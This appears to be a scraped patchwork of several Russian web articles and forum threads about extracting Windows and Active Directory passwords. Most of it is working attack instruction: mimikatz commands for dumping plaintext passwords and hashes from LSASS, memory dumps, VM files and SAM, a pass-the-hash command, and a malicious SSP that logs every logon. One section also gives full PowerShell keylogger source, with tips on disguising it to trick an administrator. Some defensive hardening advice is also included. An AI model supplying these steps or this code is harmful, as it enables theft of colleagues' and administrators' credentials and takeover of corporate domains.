Как посмотреть пароль в домене windows

Всем привет ранее я рассказывал как можно взломать контроллер домена и произвести сброс пароля администратора домена, но там нужно иметь физический доступ серверу либо к хосту виртуализации, да и все это будет сразу обнаружено, так как придется контроллер домена выключать. Все можно сделать гораздо более изящнее и без шумно. В результате того метода, что я вам расскажу вы сможете узнать пароль пользователя, а в идеале и системного администратора, главное правильно это организовать.

Обновлено 24.07.2019

Как узнать пароль администратора домена

Всем привет ранее я рассказывал как можно взломать контроллер домена и произвести сброс пароля администратора домена, но там нужно иметь физический доступ серверу либо к хосту виртуализации, да и все это будет сразу обнаружено, так как придется контроллер домена выключать. Все можно сделать гораздо более изящнее и без шумно. В результате того метода, что я вам расскажу вы сможете узнать пароль пользователя, а в идеале и системного администратора, главное правильно это организовать. Вся информация предоставляется исключительно в ознакомительных целях, чтобы администраторы безопасности имели представление, как защититься от такой проблемы.

Получить пароль администратора домена

Большинство системных администраторов пребывают в уверенности, что Windows не хранит пароли пользователей в открытом виде, а только в виде его хэша. И хотя на сегодня существует большое количество утилит, способных извлечь хэши пользовательских паролей из системы, можно с определенной уверенностью сказать, что при использовании достаточно сложного пароля не «из словаря», у злоумышленника практически нет шансов подобрать его прямым брутфорсом или по базе уже рассчитанных хэшей.

В принципе, это так, но есть различные нюансы, касающиеся пользователей, залогиненых в системе.  Дело в том, что некоторые системные процессы в своих служебных целях все-таки используют пароли пользователей в открытом (или зашифрованном) виде, а не их хэши.

Так, например, механизм дайджест-аутентификации (HTTP Digest Authentication), используемый для поддержки SSO (Single Sign On), для своей работы требует знания вводимого пароля пользователя, а не только его хеша (о том, почему разработчиками это было сделано именно так, можно только догадываться).  Пароли (именно пароли, а не их хэши) пользователей в зашифрованной форме хранятся в памяти  ОС, а если быть более точным в процессе LSASS.EXE. Проблема в том, что шифрование паролей реализовано с помощью стандартных функций Win32 LsaProtectMemory и LsaUnprotectMemory, которые предназначены для шифрования/расшифровки некоторого участка памяти. Утилита французских разработчиков mimikatz позволяет получать зашифрованные данные из памяти и расшифровывать их с помощью функции LsaUnprotectMemory, позволяя вывести на консоль все учетные записи пользователей, авторизованных в системе,  и их пароли (в открытом, уже расшифрованном виде!). Для эксплуатации уязвимости атакующий должен иметь возможность присоединить специальную библиотеку к процессу lsass.exe.

И так все это вода сверху. смысл всего этого сводится к тому, допустим есть терминальный сервер где программисты выполняют какие то вещи, и когда человек залогинен и имеет активную сессию то с помощью утилиты mimikatz можно вытащить его пароль. В идеале вы можете например попросить системного администратора что нибудь на сервере посмотреть, чаще всего они используют учетную запись администратора домена Active Directory, вот тут вы его и подловите.

Скачать утилиту mimikatz можно тут: http://blog.gentilkiwi.com/mimikatz либо по прямой ссылке с яндекс диска пароль на архив pyatilistnik.org

Извлекаем пароли пользователей из lsass.exe через rdp или интеративную сессию

Запускаем утилиту на сервере. У вас будет два варианта один для x86 другой для x64.

Как узнать пароль администратора домена-01

Как узнать пароль администратора домена-01

Если получили ошибку ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061, то нужно запустить от имени администратора. Если все ок то у вас появится консольное окно с утилитой.

Как узнать пароль администратора домена-02

Как узнать пароль администратора домена-02

Получить привилегии отладки. на что мы должны получить ответ, о том, что успешно включен режим отладки:Privilege ’20’ OK делается командой

Как узнать пароль администратора домена-03

Как узнать пароль администратора домена-03

Вывод команды с именами и паролями пользователей может оказаться более длинным чем вмещает консоль, поэтому лучше включить логирование в файл командой:

Как узнать пароль администратора домена-04

Как узнать пароль администратора домена-04

и далее команда для получения паролей

Там где null это значит что его просто нет.

Как узнать пароль администратора домена-05

Как узнать пароль администратора домена-05

Можно все экспортировать в файл с помощью команды

sekurlsa::logonpasswords /export

Как узнать пароль администратора домена-06

Как узнать пароль администратора домена-06

В итоге рядом с утилитой вы получите файл с паролями пользователей

Как узнать пароль администратора домена-07

Как узнать пароль администратора домена-07

Данная методика не сработает при наличии на системе современного антивируса, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти машины и уже на другой машине «вытянуть» из него пароли для сессий всех пользователей и сможете узнать администратора.

Получение пароля пользователя из дампа памяти Windows

Более без шумный вариант, вас не определит антивирусник и не привлечет внимание. Вам нужно создать windows minidump. Сделать minidump можно с помощью powershell, подгрузив модуль Out-Minidump.ps1.

Если у вас ругнется на то что не может запустить не подписанный скрипт, то как разрешить не подписанные скрипты я описывал тут

Далее вводим команду для монтирования minidump dmp

Get-Process lsass | Out-Minidump

Видим создался файл lsass_628.dmp это и есть наш minidump.

Как узнать пароль администратора домена-08

Как узнать пароль администратора домена-08

Как узнать пароль администратора домена-09

Как узнать пароль администратора домена-09

по умолчанию он сохраняется в каталоге %windirsystem32%. Копируем его в папку с утилитой и выполняем следующие команды

sekurlsa::minidump lsass_628.dmp

И следующей командой получим список пользователей, работающих в системе и их пароли:

sekurlsa::logonPasswords /export

Как узнать пароль администратора домена-10

Как узнать пароль администратора домена-10

Все в итоге вы смогли узнать пароль администратора домена

Получение паролей из файлов виртуальных машины и файлов гибернации

Идем дальше. С помощью простых манипуляций злоумышленник может запросто извлечь пароли пользователей из файлов дампов памяти, файла гибернации системы и .vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, в случае необходимости преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполним команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп загружаем в WinDbg (File -> Open Crash Dump), загружаем библиотеку mimikatz  с именем mimilib.dll (версию выбрать в зависимости от разрядности системы):

.load mimilib.dll

Ищем в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Как узнать пароль администратора домена-11

Как узнать пароль администратора домена-11

И наконец, набираем

.process /r /p fffffa800e0b3b30
!mimikatz

и получаем список пользователей Windows и их пароли в открытом виде:

Как узнать пароль администратора домена-12

Как узнать пароль администратора домена-12

Получение паролей пользователей Windows в открытом виде с помощью утилиты Mimikatz работает на следующих системах, в том числе запущенных на гипервизорах Hyper-V 2008/2012 и VMWare различных версий:

  • Windows Server 2008 / 2008  R2
  • Windows Server 2012/ R2
  • Windows 7
  • Windows 8

Как защититься от получения пароля через mimikatz?

В качестве временного решения можно предложить отключить поставщика безопасности wdigest через реестр. Для этого в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa найдите ключ Security Packages и удалить из списка пакетов строку wdigest.

Как узнать пароль администратора домена-13

Как узнать пароль администратора домена-13

Однако нужно понимать, что атакующему, при наличии соответствующих прав на реестр, не составит труда поменять вернуть настройки обратно.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно терминальных, находящихся во владении третьих лиц).
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в столь рекламируемых сейчас облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором  расположены виртуальные машины.
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям

Вот так вот просто узнать пароль администратора домена. Материал сайта pyatilistnik.org

А зачем их узнавать? Должна быть авторизация по AD, там пароли смотреть не надо — или просто руками делаете такие же учетки с теми же паролями — тогда это неправильно.

Емнип их никак не узнаешь, только сменить. Ну или сторонним софтом, да и то не факт.

По факту узнать никак. На будущее при создании пользователя заносите его пароль в экзель файлик и храните у себя. Когда надо — открыли и глянули.

Не нужно знать пользовательские пароли — это порочная практика.
Сбрасывайте пароль пользователя в некоторое значение по умолчанию (типа 1234) и проставляйте принудительную смену пароля при следующем входе.

В AD пользовательские пароли НЕ хранятся, от слова совсем. Их знает только юзер. В AD лежат хеши паролей, на основе проверки которых происходит аутентификация пользователя. Чем хорош хеш — это результат обработки входных данных НЕОБРАТИМОЙ функцией, с гарантиеей получения уникального значения — хеша. В случае AD с уровнем леса от Win 2008R2 используется шифрование AES256 — можно пробовать расшифровать с помощью радужных таблиц. Но во первых это не совсем тривиально, а во вторых — к сожалению, если у Вас включена политика сложности паролей, и юзерам приходится юзать не совсем тривиальные пароли типа 777 — по времени такой перебор займет прилично времени (скажем на марс мы раньше экспедицию отправим)) ).

  • Remove From My Forums

 locked

как узнать пароль учетной записи домена

  • Вопрос

  • Подскажите пожалуйста, как узнать пароль учетной записи домена?

Ответы

  • Нужно узнать пароль от корпоративной почты, прочитать переписку одного пользователя, а вот эта статья реальная? — https://habr.com/ru/post/250999/

    достать переписку из корпоративной почты может админ корпоративной почты (это штатный функционал корпоративной почты)

    пути взлома (а это именно они) не тема данного форума, а проверить упомянутый линк вы можете самостоятельно.


    The opinion expressed by me is not an official position of Microsoft

    • Изменено

      15 октября 2019 г. 15:09

    • Помечено в качестве ответа
      Dmitriy VereshchakMicrosoft contingent staff
      16 октября 2019 г. 6:16

На чтение 5 мин Опубликовано 03.10.2020

Добрый день!

Сегодня расскажем про способ, с помощью которого мы можем получить админский пароль в домене Active Directory Вашей организации. Его можно использовать для установки, удаления софта, отключения антивируса, доступа ко многим корпоративным ресурсам домена, доступ к документам других пользователей на их ПК и многое другое вкусное. Ну обо всем по порядку.

Для начала находим местоположения ярлыка установленного окружения PowerShell ISE. Обычно он располагается по адресу C:UsersUsernameAppDataRoamingMicrosoftWindowsStart MenuProgramsWindows PowerShell, находим файл Windows PowerShell ISE и в свойствах, на вкладке ярлык меняем его ярлык на что-нибудь неприметное, например иконку папки или иконку разрешенного в организации программного обеспечения в формате *.ico, например 1C.   Я укажу ярлык браузера IE, так как он есть у каждого и зачастую не запрещен в использовании политиками безопасности, так как большинство государственных сайтов корректного работает на стороне клиента только на нем. Теперь после запуска в панели меню пуск будет отображаться иконка IE, что не вызовет подозрений.

Затем открываем Windows PowerShell ISE и копируем код скрипт кейлогера:

#requires -Version 2

function Start-KeyLogger($Path="$env:tempkeylogger.txt") 

{

  # Signatures for API Calls

  $signatures = @'

[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 

public static extern short GetAsyncKeyState(int virtualKeyCode); 

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int GetKeyboardState(byte[] keystate);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

'@

  # load signatures and make members available

  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

  
  # create output file

  $null = New-Item -Path $Path -ItemType File -Force

  try

  {

    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red




    # create endless loop. When user presses CTRL+C, finally-block

    # executes and shows the collected key presses

    while ($true) {

      Start-Sleep -Milliseconds 40

      

      # scan all ASCII codes above 8

      for ($ascii = 9; $ascii -le 254; $ascii++) {

        # get current key state

        $state = $API::GetAsyncKeyState($ascii)




        # is key pressed?

        if ($state -eq -32767) {

          $null = [console]::CapsLock




          # translate scan code to real code

          $virtualKey = $API::MapVirtualKey($ascii, 3)




          # get keyboard state for virtual keys

          $kbstate = New-Object Byte[] 256

          $checkkbstate = $API::GetKeyboardState($kbstate)




          # prepare a StringBuilder to receive input key

          $mychar = New-Object -TypeName System.Text.StringBuilder




          # translate virtual key

          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)




          if ($success) 

          {

            # add key to logger file

            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 

          }

        }

      }

    }

  }

  finally

  {

    # open logger file in Notepad

    notepad $Path

  }

}




# records all key presses until script is aborted by pressing CTRL+C

# will then open the file with collected key codes

Start-KeyLogger

Теперь создаем заявку на установку программного обеспечения или просим админа установить нам какую-нибудь легитимную программу. Перед тем как админ подключиться к Вам удаленно или придет очно для указанной работы, запускаем наш скрипт командой Выполнить сценарий или кнопкой F5 и сворачиваем окно:

Админ находит подготовленный установочный файл и распускает его под своей УЗ:

После установки ПО и прощания с товарищем из технической поддержки или админом нажимаем сочетание клавиш “Ctrl+C” и получаем учетные данные в открывшим файле блокнота:

¯_(ツ)_/¯

    Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Пожалуйста, не спамьте и никого не оскорбляйте.

Это поле для комментариев, а не спамбокс.

Рекламные ссылки не индексируются!

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:Toolsmimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Содержание:

  • Извлекаем хэши паролей пользователей из памяти Windows
  • Получение хешей паролей пользователей из дампа памяти Windows
  • Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
  • Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?
  • Извлекаем пароли локальных пользователей Windows из SAM
  • Использование Mimikatz в pass-the-hash атаках
  • Просмотр сохраненных паролей в Windows
  • Дампим пароли при входе в Windows
  • Как защитить Windows от извлечения паролей из памяти?

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

  1. Запустите Mimikatz.exe с правами администратора;
  2. В контексте утилиты выполните команды:
    mimikatz # privilege::debug

    Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
  3. mimikatz # sekurlsa::logonPasswords full

    Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
  4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
  5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:
    anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
    Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

получение NTLM хэша пароля пользователя Windows из LSASS

Можно использовать mimikatz не в интерактивном, а в командном режиме. Чтобы автоматически получить хэши паролей пользователей и экспортировать в текстовый файл, выполните команды:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:toolsmimikatzoutput.txt

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

расшифровка ntlm хэшей

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

дамп процесса lsass.exe

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:UsersanovachAppDataLocalTemplsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

получение ntlm хэшей из дампа памяти

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

Поиск в дампе памяти процесса lsass

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Получаем пароль пользователя Windows

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

UseLogonCredential отключаем в реестре

Обновите GPO:

gpupdate /force

включить wdigest в windows через UseLogonCredential

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

получение пароля пользователя в открытом виде

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

  1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
    reg save hklmsam c:tmpsam.hiv
    reg save hklmsecurity c:tmpsec.hiv

    экспорт реестра
  2. Затем с помощью Mimikatz извлеките хэши паролей:
    privilege::debug
    token::elevate
    lsadump::sam c:tmpsam.hiv c:tmpsec.hiv

извлечение ntlm хэшей из реестра

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

использование mimikatz для запуска команд по известному хэшу

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

получаем сохраненные пароли Windows

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

  1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:WindowsSystem32.
  2. Зарегистрируйте дополнительного провайдер командой:
    reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ
    поддельный ssp провайдер mimilib.dll
  3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
    Get-Content C:WindowsSystem32kiwissp.log

пароли всех пользователей зписываются при входе в Windows в тектовый файл

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

mimikatz creds_wdigest не работает в Windows 8.1 / 2012 R2 и выше

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

  • Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
  • Отключите Wdiget;
  • Отключить NTLM
  • Запретить использование сохранённых паролей в Credential Manager
  • Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
  • Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
  • Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
    reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
    . Можно распространить этот параметр реестра на компьютеры через GPO.
  • Используйте Credential Guard для защиты содержимого LSA процесса;
  • Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

  • Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
  • Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
  • Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
  • Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Со мной не так давно случилась похожая ситуация, понадобился пароль учетной записи доменного администратора, по умолчанию, эта учетная запись была отключена и пароль от нее был не известен. Поменять его, мне помогла следующая статья.  Поэтому я решил перевести её на русский язык, для тех, кто отличным знанием английского, похвастаться не может. Далее перевод.

Забыли пароль администратора? — Смена пароля доменного администратора в Windows Server 2003 AD (Forgot the Administrator’s Password? – Change Domain Admin Password in Windows Server 2003 AD ) Заметка: Для того, что бы успешно воспользоваться этим трюком, вам сначала необходимо применить одну из утилит восстановления пароля локального администратора. Причина кроется в том, что вам необходим административный доступ к серверу прежде чем побывать восстановить пароль доменного администратора, а для получения пароля локального администратора вам надо применить метод описанный по ссылке выше.

Обновление:

После некоторых отзывов читателей, я рад сказать, что описанная процедура также работает для контроллеров домена на базе Windows Server 2008*. Не стесняйтесь оставлять ваши отзывы. Я сохранил оригинальный текст страницы относящийся к Windows Server 2003, но вы можете выполнить те же самые действия и для Windows Server 2008

Заметка ламера: Это процедура НЕ разработана для Windows XP так как Windows XP это НЕ доменный контроллер. Кроме того, для Windows 2000 версия этой статьи находиться по ссылке Забыли пароль администратора? — Меняем пароль доменного администратора в Windows 2000 AD. Читатель Sebastien Francois добавил свои персональные рекомендации относящиеся к смене пароля в домене Windows Server 2003. Я процитирую часть из них. (Спасибо  Sebastien): Требования

  1. Физический доступ к контроллеру домена.
  2. Пароль локального администратора.
  3. Утилиты поставляемые Microsoft в их Resource Kit: SRVANY and INSTSRV. Их можно загрузить тут (24kb).

Шаг 1

Перезагрузите Windows Server 2003 в Режиме Восстановления Службы Каталогов ( Directory Service Restore Mode ) Заметка: Во время начальной загрузки системы, нажимайте F8 и выберите Режиме Восстановления Службы Каталогов ( Directory Service Restore Mode ). Это отключит службу каталогов (Active Directory). Когда появиться экран ввода имени пользователя и пароля, войдите как локальный администратор. Теперь вы имеете полный доступ к ресурсам компьютера, но вы не можете делать никаких изменений в службе каталогов (Active Directory).

Шаг 2

Сейчас вам необходимо установить SRVANY. Эта утилита может запустить любую программу в виде сервиса. Интересная особенность в том, что программа будет иметь привилегии системы (так как унаследует контекст безопасности SRVANY) т.е будет иметь полный доступ к системе. Этого более чем достаточно, что бы переустановить пароль доменного администратора. Настроим  SRVANY  на запуск командной строки (которая запустит команду ‘net user’) Скопируйте SRVANY  и INSTSRV  во временную папку, моя называется D:temp. Так же скопируйте в эту папку cmd.exe (cmd.exe это интерпритатор командной строки обычно находящийся в папке %WINDIR%System32).

Запустите командную строку из папки d:temp (или из той которую создали вы), и наберите:

instsrv PassRecovery "d:tempsrvany.exe"

(поменяйте путь на тот который выбрали вы)

Теперь пришло время настроить SRVANY  Запустите редактор реестра и перейдите к веткеHKEY_LOCAL_MACHINESystemCurrentControlSetServicesPassRecovery

Создайте новый раздел, назовите его Parameters и добавьте два новых значения

name: Application
type: REG_SZ (string)
value: d:tempcmd.exe

name: AppParameters
type: REG_SZ (string)
value: /k net user administrator 123456 /domain

Замените 123456 на пароль который хотите**. Помните, что групповая политика домена по умолчанию требует сложных паролей (включающих цифры, отвечающих требованиям минимальной длины и т.д так что до тех пор пока вы не измените групповую политику по умолчанию используйте сложные пароли таки как P@ssw0rd

Теперь, откройте оснастку сервисы (Control PanelAdministrative ToolsServices) и откройте вкладку свойст PassRecovery.
Проверьте что режим запуска стоит автоматически.

 

Перейдите на вкладку Вход в систему (Log On) и включите опцию Разрешить взаимодействие с рабочим столом (Allow service to interact with the desktop).

Перезагрузите Windows в обычном режиме, SRVANY запустит команду NET USER и переустановит пароль доменного администратора.

Шаг 3

Зарегистрируйтесь в системе под администратором используя пароль который вы установили на шаге два.
Воспользуйтесь этими командами, что бы деинсталировать SRVANY (не забудьте сделать это).

net stop PassRecovery

sc delete PassRecovery

Теперь удалите папку d:temp и поменяйте пароль администратора если желаете.

На этом всё! ДополнениеRobert Strom написал отличный скрипт который полностью автоматизирует этот процес. Он пишет:

«Мой скрипт в действительности автоматизирует процесс, выполняет все операции самостоятельно. Запустите скрипт один раз и всё готово. не надо вручную править записи в реестре, создавать и настраивать сервис и т.п»

Скачайте его здесь (186kb).

Отметим, что вам все еще нужен физический доступ к контроллеру домена и возможность зарегистрироваться в системе в качестве локального администратора. Если вы не знаете пароль локального администратора, пользуйтесь следующей ссылкой: Забыли пароль локального администратора. Спасибо Роберт!

Благодарности

Эта заметка была написана благодаря помощи Antid0t, Robert Strom и Sebastien Francois. Спасибо вам всем! Ссылки

How to reset the Domain Admin Password under Windows 2003 Server

Original post by Antid0t and Robert Strom on the Petri.co.il forums

Вы так же можете обсудить на форуме в этой ветке Petri.co.il Forgot Admin Password Forum.

*проверено мной на Windows Server 2008 Standart
**если DC у вас установлен на русскоязычном windows, то вам еще следует заменить administrator на администратор

  • Remove From My Forums
  • Question

  • Hi, i’m wondering where are the hashed passwords of user accounts stored in active directory? I just want to be able to see for myself where they actually are and haven’t been able to find a proper answer yet online.

    Thanks

Answers

    • Proposed as answer by

      Friday, May 6, 2016 6:12 AM

    • Marked as answer by
      Jay Gu
      Sunday, May 8, 2016 2:33 AM
  • Hi,

    The password is stored in the AD and LDS database on a user object in the unicodePwd
    attribute. This attribute can be written under restricted conditions, but it cannot be read. The attribute can only be modified; it cannot be added on object creation or queried by a search.

    For more information, you could refer to the article below.

    https://support.microsoft.com/en-us/kb/269190

    Best Regards,

    Jay


    Please remember to mark the replies as answers if they help and un-mark them if they provide no help. If you have feedback for TechNet Subscriber Support, contact tnmff@microsoft.com.

    • Proposed as answer by
      Jay Gu
      Friday, May 6, 2016 6:12 AM
    • Marked as answer by
      Jay Gu
